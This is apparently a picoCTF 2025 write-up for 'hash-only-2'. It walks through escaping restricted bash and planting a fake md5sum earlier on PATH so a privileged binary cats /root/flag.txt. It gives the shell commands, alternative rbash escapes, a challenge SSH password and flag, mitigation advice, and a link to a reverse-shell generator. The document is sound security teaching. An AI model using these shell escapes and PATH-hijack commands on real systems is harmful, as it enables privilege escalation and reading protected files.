Skip to main content

hash-only-2 picoCTF 2025 Solution

Escape the restricted shell, then put a fake md5sum earlier on PATH so the privileged helper cats the flag.

Published: April 2, 2025Updated: August 25, 2026

Description

The second flaghasher binary lives in /usr/local/bin and still shells out to md5sum. Escape the restricted shell, drop a fake md5sum earlier in PATH, and cat the flag.

SSH to rescued-float.picoctf.net -p 49568 (password f3b61b38).

Confirm the login shell is restricted (try cd /tmp - it should fail), then type bash (not exec bash) to drop into an unrestricted shell while keeping the SSH session alive.

Check the common location first: ls -la /usr/local/bin/flaghasher. Falling back to a whole-FS find is slower and rarely necessary.

bash
ssh -p 49568 ctf-player@rescued-float.picoctf.net
bash
echo $SHELL
bash
ls -la /usr/local/bin/flaghasher   # check the obvious location first
bash
bash                                # drop into unrestricted bash (NOT exec bash)
bash
strings /usr/local/bin/flaghasher | grep md5sum
bash
cd /tmp && echo '/bin/cat /root/flag.txt' > md5sum && chmod +x md5sum
bash
export PATH=.:$PATH && /usr/local/bin/flaghasher

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
Restricted shells and PATH-trust bugs are core Linux post-exploitation; the Linux CLI for CTF guide covers rbash escapes, SUID enumeration, and PATH hardening.
  1. Step 1Escape rbash restrictions
    Observation
    cd fails right after login, which is the signature of restricted bash. Spawn an unrestricted child shell before trying to change PATH or write files.
    The login shell is restricted (rbash blocks cd, PATH= edits, and slashes in commands). Type plain bash - not exec bash - so the unrestricted shell runs as a child of your SSH session; if anything in it crashes, the SSH session keeps you connected. Then cd /tmp to land in a writable directory.
    bash
    # In rbash, this fails:
    cd /tmp
    
    # Escape (type bash, NOT exec bash):
    bash
    cd /tmp
    What didn't work first

    Tried: Run exec bash instead of plain bash to escape rbash.

    exec bash replaces the current shell instead of spawning a child, so if the new session exits or crashes the SSH connection goes with it. Plain bash keeps rbash alive as the parent and survives an accidental exit. The result is the same otherwise, but the connection risk is real under time pressure.

    Tried: Try python3 -c 'import pty; pty.spawn("/bin/bash")' or vim :shell to escape rbash before checking whether plain bash is allowed.

    Those escapes matter when bash itself is blocked by the allowed-command list. Here it is not, so running it directly is simplest. The Python or vim route adds steps and may be blocked itself.

    Learn more

    Restricted bash (rbash) is a hardened shell mode that prevents users from changing directories with cd, modifying PATH, redirecting output, or running commands with slashes in them. System administrators use it to lock down SSH accounts to a narrow set of approved commands.

    The classic escape is to invoke a full shell binary directly. If bash or sh is accessible, running it without the -r flag drops you into an unrestricted session. Other escapes include launching a text editor (vim's :shell command), using scripting interpreters (python3 -c 'import pty; pty.spawn("/bin/bash")'), or abusing allowed programs that themselves spawn shells (like man with !/bin/sh).

    In real-world penetration testing, restricted shells come up frequently after gaining initial SSH access to a locked-down account. Escaping rbash is one of the first post-exploitation steps and is covered extensively in OSCP and other security certifications.

  2. Step 2Hijack md5sum again
    Observation
    strings on flaghasher shows the same bare md5sum call as in hash-only-1. Drop a fake md5sum earlier in PATH and point it at cat.
    Same PATH-hijack technique as hash-only-1 - only the binary's path and the restricted login shell differ here. Write a one-line md5sum that cats /root/flag.txt, prove it works standalone before invoking flaghasher, and never include any md5sum invocation inside the fake (the hijacked PATH would resolve back to itself and infinite-loop).
    bash
    echo '/bin/cat /root/flag.txt' > md5sum
    bash
    chmod +x md5sum
    bash
    export PATH=.:$PATH
    bash
    ./md5sum                       # validate: should print the flag standalone
    bash
    /usr/local/bin/flaghasher

    Expected output

    picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}
    What didn't work first

    Tried: Write the fake md5sum as #!/bin/sh md5sum /root/flag.txt to try to hash the flag directly.

    Calling md5sum from inside the fake script loops forever: flaghasher calls your script, your script calls md5sum, and PATH resolves that right back to your script. It recurses until it hits the process limit and dies on a fork error. Use an absolute path to something you have not hijacked.

    Tried: Set PATH with PATH=/tmp:$PATH and write the fake to /tmp/md5sum while still in rbash, before running bash to escape.

    rbash makes PATH read-only, so the assignment fails outright. Export it after escaping to an unrestricted shell. And the current-directory approach works from any writable directory, /tmp included, once you are actually in one.

    Learn more

    PATH hijacking exploits how Unix-like systems resolve command names. When a program calls system("md5sum") or exec("md5sum") without an absolute path, the OS searches each directory in PATH left-to-right and runs the first match it finds.

    By prepending . (the current directory) to PATH and dropping a malicious script named md5sum there, you guarantee the OS runs your script instead of /usr/bin/md5sum. Your script can do anything the process's effective user can do - in this case, reading /root/flag.txt. This is the same attack that makes sudo unsafe when . appears in a root user's PATH.

    Real-world mitigations include using absolute paths in all system() and exec() calls, auditing PATH in privileged scripts with tools like shellcheck, and applying the principle of least privilege so the target binary never runs with elevated permissions. CVE databases are full of PATH hijacking vulnerabilities in commercial software.

Interactive tools
  • Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.

Flag

Reveal flag

picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}

Any equivalent fake `md5sum` works as long as it doesn't invoke another `md5sum` and `.` stays first in PATH.

Key takeaway

A restricted shell is a containment layer, not a security boundary. It blocks conveniences like cd, PATH edits, and slashes in commands, but it cannot stop a user from spawning a full unrestricted shell as a child. Any allowed binary that can launch one, bash or vim or python or man, ends the restriction immediately. rbash only makes sense as a last-line guard on accounts with no shell-capable interpreters at all; real isolation needs a container, mandatory access control, or a purpose-built protocol such as an sftp-only account.

Related reading

Useful tools for Binary Exploitation

Where to go next